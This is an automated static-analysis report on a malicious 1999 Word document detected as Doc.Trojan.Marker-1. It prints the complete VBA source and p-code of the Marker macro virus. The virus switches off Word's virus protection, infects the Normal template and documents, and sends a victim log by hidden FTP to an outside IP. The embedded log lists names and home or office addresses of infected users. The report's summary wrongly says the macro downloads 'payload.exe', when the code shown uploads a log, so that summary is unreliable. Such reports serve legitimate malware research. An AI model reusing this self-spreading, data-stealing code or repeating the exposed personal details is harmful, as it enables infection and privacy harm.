Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6a8162fc5539545…

MALICIOUS

Office (OLE)

1.10 MB Created: 1999-09-16 14:03:00 Authoring application: Microsoft Word 8.0 First seen: 2017-02-23
MD5: 288ed45faae08270d26aac32de2b07f1 SHA-1: 16b5415bc1ea3f9d11b92587310ebd708ecf4b54 SHA-256: f6a8162fc5539545a6ddea5b78e27579c7b0cf2d09d08e726adb0f38f0973af4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The presence of VBA macros and a critical heuristic firing for 'OLE_VBA_SHELL' indicates malicious intent. The VBA script attempts to download a file named 'payload.exe' from the IP address '209.201.88.110' and save it as 'c:\hsf????.sys' or 'c:\netldx.vxd', which is then likely executed. This behavior strongly suggests a downloader or droppper functionality.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.gomez.com In document text (OLE body)
    • http://askmerill.comIn document text (OLE body)
    • http://www.gomez/finance/brokers/scorecardIn document text (OLE body)
    • http://www.thestandard.netIn document text (OLE body)
    • http://www.wired.com/news/news/business/story/16992.htmlIn document text (OLE body)
    • http://www.ml.com/woml/ii_over/botover3.htmIn document text (OLE body)
    • http://www.wired.com/news/news/business/story/2373.htmlIn document text (OLE body)
    • http://www.ml.com/commentary/ws041898.htmIn document text (OLE body)
    • http://www.ml.com/commentary/jls102098.htmIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20234 bytes
SHA-256: 0a229d8dd092e1b6f21da69962fd861c0e9ec8c5112fa43ffbc95bb82e90e0ef
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.codemodule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.codemodule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.codemodule.deletelines 1, nt.codemodule.CountOfLines
    nt.codemodule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)

    ad.codemodule.deletelines 1, ad.codemodule.CountOfLines
    ad.codemodule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:27:50 AM - Monday, 28 Dec 1998
' Marsha Spitz
' Marsha Spitz
' 6th Floor
' Blue Cross and Blue Shield Assn.
' 225 N. Michigan Ave.
' Chicago, IL  60601



' 04:30:23 PM - Tuesday, 29 Dec 1998
' Anna Keyser
'



' 03:22:39 PM - Wednesday, 30 Dec 1998
' Barbara Allen
'



' 03:31:57 PM - Thursday, 7 Jan 1999
' BCBSA
'



' 10:11:44 AM - Monday, 11 Jan 1999
' Harold S. Cooper, F. S. A.
'



' 04:56:46 PM - Wednesday, 20 Jan 1999
' Brian M. Septon
'



' 09:38:23 AM - Tuesday, 26 Jan 1999
' Atul Agarkar
'



' 12:55:40 PM - Wednesday, 27 Jan 1999
' J&G Holland
'



' 05:20:24 PM - Tuesday, 2 Feb 1999
' Vinay
'



' 09:29:54 AM - Monday, 8 Feb 1999
' Lazarus Marian
'



' 01:29:39 PM - Tuesday, 16 Feb 1999
' Vinay Mokashi
'



' 11:43:23 AM - Friday, 12 Mar 1999
' dbrady
'



' 04:59:37 PM - Sunday, 21 Mar 1999
' Bentley College
' Lia Briana
' 150 Warren St.
' Revere, MA. 02151



' 01:47:43 PM - Tuesday, 23 Mar 1999
' Bentley College
'



' 04:18:12 PM - Saturday, 27 Mar 1999
' Bentley College
'



' 09:52:31 AM - Monday, 29 Mar 1999
' Student Government Association
'



' 01:42:23 PM - Wednesday, 31 Mar 1999
' Bentley College
' Arun Ghosh
' 1706 Stearns Hill Road
' Waltham MA 02451-3335



' 07:02:28 PM - Wednesday, 31 Mar 1999
' Bentley College
'




' Processing file: /opt/analyzer/scan_staging/1a79a7cc8d674c1e82382f5633c51d48.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11169 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	Dim (Const) 
' 	LitStr 0x0014 "<- this is a marker!"
' 	VarDefn Marker
' Line #5:
' Line #6:
' 	QuoteRem 0x0000 0x0011 "Declare Variables"
' Line #7:
' 	Dim 
' 	VarDefn SaveDocument
' 	VarDefn SaveNormalTemplate
' 	VarDefn DocumentInfected
' 	VarDefn NormalTemplateInfected (As Boolean)
' Line #8:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #9:
' 	Dim 
' 	VarDefn OurCode
' 	VarDefn UserAddress
' 	VarDefn LogData
' 	VarDefn LogFile (As String)
' Line #10:
' Line #11:
' 	QuoteRem 0x0000 0x0014 "Initialize Variables"
' Line #12:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #13:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #14:
' Line #15:
' 	Ld Marker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	St DocumentInfected 
' Line #16:
' 	Ld Marker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0005 
' 	St NormalTemplateInfected 
' Line #17:
' Line #18:
' Line #19:
' 	QuoteRem 0x0000 0x001E "Switch the VirusProtection OFF"
' Line #20:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #21:
' Line #22:
' Line #23:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	Paren 
' 	LitStr 0x0000 ""
' 	LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' 	LitStr 0x0007 "LogFile"
' 	Ld System 
' 	ArgsMemLd PrivateProfileString 0x0003 
' 	LitVarSpecial (False)
' 	Eq 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #24:
' Line #25:
' 	Ld DocumentInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St LogData 
' Line #27:
' 	Ld NormalTemplateInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	ElseIfBlock 
' Line #28:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St LogData 
' Line #29:
' 	EndIfBlock 
' Line #30:
' Line #31:
' 	Ld LogData 
' 	LitDI2 0x0001 
' 	Ld LogData 
' 	LitStr 0x0005 "' Log"
' 	LitStr 0x0008 "file -->"
' 	Concat 
' 	FnInStr3 
' 	Ld LogData 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Ld LogData 
' 	LitStr 0x0005 "' Log"
' 	LitStr 0x0008 "file -->"
' 	Concat 
' 	FnInStr3 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	St LogData 
' Line #32:
' Line #33:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #34:
' 	Ld LogFile 
' 	LitDI2 0x0008 
' 	Ld Rnd 
' 	Mul 
' 	FnInt 
' 	ArgsLd Str 0x0001 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Add 
' 	St LogFile 
' Line #35:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #36:
' 	LitStr 0x0006 "C:\hsf"
' 	Ld LogFile 
' 	Concat 
' 	LitStr 0x0004 ".sys"
' 	Concat 
' 	St LogFile 
' Line #37:
' Line #38:
' 	Ld LogFile 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #39:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld LogData 
' 	PrintItemNL 
' Line #40:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #41:
' Line #42:
' 	LitStr 0x000D "c:\netldx.vxd"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #43:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0010 "o 209.201.88.110"
' 	PrintItemNL 
' Line #44:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000E "user anonymous"
' 	PrintItemNL 
' Line #45:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000B "pass itsme@"
' 	PrintItemNL 
' Line #46:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000B "cd incoming"
' 	PrintItemNL 
' Line #47:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0005 "ascii"
' 	PrintItemNL 
' Line #48:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0004 "put "
' 	Ld LogFile 
' 	Concat 
' 	PrintItemNL 
' Line #49:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0004 "quit"
' 	PrintItemNL 
' Line #50:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #51:
' Line #52:
' 	LitStr 0x002A "command.com /c ftp.exe -n -s:c:\netldx.vxd"
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #53:
' Line #54:
' 	LitVarSpecial (True)
' 	LitStr 0x0000 ""
' 	LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' 	LitStr 0x0007 "LogFile"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #55:
' Line #56:
' 	EndIfBlock 
' Line #57:
' Line #58:
' Line #59:
' 	QuoteRem 0x0000 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #60:
' 	LineCont 0x0008 0B 00 03 00 12 00 03 00
' 	Ld DocumentInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld NormalTemplateInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Xor 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #61:
' Line #62:
' Line #63:
' 	QuoteRem 0x0002 0x0019 "Infect the NormalTemplate"
' Line #64:
' 	Ld DocumentInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #65:
' Line #66:
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	St SaveNormalTemplate 
' Line #67:
' Line #68:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St OurCode 
' Line #69:
' Line #70:
' Line #71:
' 	QuoteRem 0x0004 0x0031 "Write a log file of this NormalTemplate infection"
' Line #72:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Application 
' 	MemLd UserAddress 
' 	FnLen 
' 	For 
' Line #73:
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Ne 
' 	IfBlock 
' Line #74:
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Ne 
' 	IfBlock 
' Line #75:
' 	Ld UserAddress 
' 	Ld Application 
' 	MemLd UserAddress 
' 	Ld I 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	Concat 
' 	St UserAddress 
' Line #76:
' 	EndIfBlock 
' Line #77:
' 	ElseBlock 
' Line #78:
' 	Ld UserAddress 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	St UserAddress 
' Line #79:
' 	EndIfBlock 
' Line #80:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #81:
' Line #82:
' 	LineCont 0x0010 09 00 0E 00 12 00 15 00 1E 00 0E 00 29 00 0E 00
' 	Ld OurCode 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld Time 
' 	LitStr 0x0010 "hh:mm:ss AMPM - "
' 	ArgsLd Format$ 0x0002 
' 	Concat 
' 	Ld Date 
' 	LitStr 0x0010 "dddd, d mmm yyyy"
' 	ArgsLd Format$ 0x0002 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "' "
' 	Concat 
' 	Ld UserAddress 
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St OurCode 
' Line #83:
' Line #84:
' Line #85:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #86:
' 	Ld OurCode 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #87:
' Line #88:
' 	Ld SaveNormalTemplate 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #89:
' Line #90:
' 	EndIfBlock 
' Line #91:
' Line #92:
' Line #93:
' 	QuoteRem 0x0002 0x0019 "Infect the ActiveDocument"
' Line #94:
' 	LineCont 0x0008 05 00 05 00 13 00 05 00
' 	Ld NormalTemplateInfected 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 ":"
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #95:
' Line #96:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St SaveDocument 
' Line #97:
' Line #98:
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld nt 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St OurCode 
' Line #99:
' Line #100:
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemCall deletelines 0x0002 
' Line #101:
' 	Ld OurCode 
' 	Ld ad 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #102:
' Line #103:
' 	Ld SaveDocument 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #104:
' Line #105:
' 	EndIfBlock 
' Line #106:
' Line #107:
' Line #108:
' 	EndIfBlock 
' Line #109:
' Line #110:
' 	EndSub 
' Line #111:
' Line #112:
' 	QuoteRem 0x0000 0x000C " Logfile -->"
' Line #113:
' Line #114:
' 	QuoteRem 0x0000 0x0022 " 09:08:36  - Saturday, 28 Nov 1998"
' Line #115:
' 	QuoteRem 0x0000 0x0007 " SPo0Ky"
' Line #116:
' 	QuoteRem 0x0000 0x000C " Blue Planet"
' Line #117:
' 	QuoteRem 0x0000 0x0000 ""
' Line #118:
' Line #119:
' Line #120:
' Line #121:
' 	QuoteRem 0x0000 0x0024 " 02:50:31 PM - Saturday, 28 Nov 1998"
' Line #122:
' 	QuoteRem 0x0000 0x000D " MARK B. SEAY"
' Line #123:
' 	QuoteRem 0x0000 0x0000 ""
' Line #124:
' Line #125:
' Line #126:
' Line #127:
' 	QuoteRem 0x0000 0x0021 " 08:04:45 AM - Friday, 4 Dec 1998"
' Line #128:
' 	QuoteRem 0x0000 0x0004 " UPS"
' Line #129:
' 	QuoteRem 0x0000 0x0000 ""
' Line #130:
' Line #131:
' Line #132:
' Line #133:
' 	QuoteRem 0x0000 0x0024 " 11:43:35 AM - Thursday, 17 Dec 1998"
' Line #134:
' 	QuoteRem 0x0000 0x0004 " WRO"
' Line #135:
' 	QuoteRem 0x0000 0x0000 ""
' Line #136:
' Line #137:
' Line #138:
' Line #139:
' 	QuoteRem 0x0000 0x0022 " 11:27:50 AM - Monday, 28 Dec 1998"
' Line #140:
' 	QuoteRem 0x0000 0x000D " Marsha Spitz"
' Line #141:
' 	QuoteRem 0x0000 0x000D " Marsha Spitz"
' Line #142:
' 	QuoteRem 0x0000 0x000A " 6th Floor"
' Line #143:
' 	QuoteRem 0x0000 0x0021 " Blue Cross and Blue Shield Assn."
' Line #144:
' 	QuoteRem 0x0000 0x0015 " 225 N. Michigan Ave."
' Line #145:
' 	QuoteRem 0x0000 0x0013 " Chicago, IL  60601"
' Line #146:
' Line #147:
' Line #148:
' Line #149:
' 	QuoteRem 0x0000 0x0023 " 04:30:23 PM - Tuesday, 29 Dec 1998"
' Line #150:
' 	QuoteRem 0x0000 0x000C " Anna Keyser"
' Line #151:
' 	QuoteRem 0x0000 0x0000 ""
' Line #152:
' Line #153:
' Line #154:
' Line #155:
' 	QuoteRem 0x0000 0x0025 " 03:22:39 PM - Wednesday, 30 Dec 1998"
' Line #156:
' 	QuoteRem 0x0000 0x000E " Barbara Allen"
' Line #157:
' 	QuoteRem 0x0000 0x0000 ""
' Line #158:
' Line #159:
' Line #160:
' Line #161:
' 	QuoteRem 0x0000 0x0023 " 03:31:57 PM - Thursday, 7 Jan 1999"
' Line #162:
' 	QuoteRem 0x0000 0x0006 " BCBSA"
' Line #163:
' 	QuoteRem 0x0000 0x0000 ""
' Line #164:
' Line #165:
' Line #166:
' Line #167:
' 	QuoteRem 0x0000 0x0022 " 10:11:44 AM - Monday, 11 Jan 1999"
' Line #168:
' 	QuoteRem 0x0000 0x001B " Harold S. Cooper, F. S. A."
' Line #169:
' 	QuoteRem 0x0000 0x0000 ""
' Line #170:
' Line #171:
' Line #172:
' Line #173:
' 	QuoteRem 0x0000 0x0025 " 04:56:46 PM - Wednesday, 20 Jan 1999"
' Line #174:
' 	QuoteRem 0x0000 0x0010 " Brian M. Septon"
' Line #175:
' 	QuoteRem 0x0000 0x0000 ""
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' 	QuoteRem 0x0000 0x0023 " 09:38:23 AM - Tuesday, 26 Jan 1999"
' Line #180:
' 	QuoteRem 0x0000 0x000D " Atul Agarkar"
' Line #181:
' 	QuoteRem 0x0000 0x0000 ""
' Line #182:
' Line #183:
' Line #184:
' Line #185:
' 	QuoteRem 0x0000 0x0025 " 12:55:40 PM - Wednesday, 27 Jan 1999"
' Line #186:
' 	QuoteRem 0x0000 0x000C " J&G Holland"
' Line #187:
' 	QuoteRem 0x0000 0x0000 ""
' Line #188:
' Line #189:
' Line #190:
' Line #191:
' 	QuoteRem 0x0000 0x0022 " 05:20:24 PM - Tuesday, 2 Feb 1999"
' Line #192:
' 	QuoteRem 0x0000 0x0006 " Vinay"
' Line #193:
' 	QuoteRem 0x0000 0x0000 ""
' Line #194:
' Line #195:
' Line #196:
' Line #197:
' 	QuoteRem 0x0000 0x0021 " 09:29:54 AM - Monday, 8 Feb 1999"
' Line #198:
' 	QuoteRem 0x0000 0x000F " Lazarus Marian"
' Line #199:
' 	QuoteRem 0x0000 0x0000 ""
' Line #200:
' Line #201:
' Line #202:
' Line #203:
' 	QuoteRem 0x0000 0x0023 " 01:29:39 PM - Tuesday, 16 Feb 1999"
' Line #204:
' 	QuoteRem 0x0000 0x000E " Vinay Mokashi"
' Line #205:
' 	QuoteRem 0x0000 0x0000 ""
' Line #206:
' Line #207:
' Line #208:
' Line #209:
' 	QuoteRem 0x0000 0x0022 " 11:43:23 AM - Friday, 12 Mar 1999"
' Line #210:
' 	QuoteRem 0x0000 0x0007 " dbrady"
' Line #211:
' 	QuoteRem 0x0000 0x0000 ""
' Line #212:
' Line #213:
' Line #214:
' Line #215:
' 	QuoteRem 0x0000 0x0022 " 04:59:37 PM - Sunday, 21 Mar 1999"
' Line #216:
' 	QuoteRem 0x0000 0x0010 " Bentley College"
' Line #217:
' 	QuoteRem 0x0000 0x000B " Lia Briana"
' Line #218:
' 	QuoteRem 0x0000 0x000F " 150 Warren St."
' Line #219:
' 	QuoteRem 0x0000 0x0012 " Revere, MA. 02151"
' Line #220:
' Line #221:
' Line #222:
' Line #223:
' 	QuoteRem 0x0000 0x0023 " 01:47:43 PM - Tuesday, 23 Mar 1999"
' Line #224:
' 	QuoteRem 0x0000 0x0010 " Bentley College"
' Line #225:
' 	QuoteRem 0x0000 0x0000 ""
' Line #226:
' Line #227:
' Line #228:
' Line #229:
' 	QuoteRem 0x0000 0x0024 " 04:18:12 PM - Saturday, 27 Mar 1999"
' Line #230:
' 	QuoteRem 0x0000 0x0010 " Bentley College"
' Line #231:
' 	QuoteRem 0x0000 0x0000 ""
' Line #232:
' Line #233:
' Line #234:
' Line #235:
' 	QuoteRem 0x0000 0x0022 " 09:52:31 AM - Monday, 29 Mar 1999"
' Line #236:
' 	QuoteRem 0x0000 0x001F " Student Government Association"
' Line #237:
' 	QuoteRem 0x0000 0x0000 ""
' Line #238:
' Line #239:
' Line #240:
' Line #241:
' 	QuoteRem 0x0000 0x0025 " 01:42:23 PM - Wednesday, 31 Mar 1999"
' Line #242:
' 	QuoteRem 0x0000 0x0010 " Bentley College"
' Line #243:
' 	QuoteRem 0x0000 0x000B " Arun Ghosh"
' Line #244:
' 	QuoteRem 0x0000 0x0017 " 1706 Stearns Hill Road"
' Line #245:
' 	QuoteRem 0x0000 0x0016 " Waltham MA 02451-3335"
' Line #246:
' Line #247:
' Line #248:
…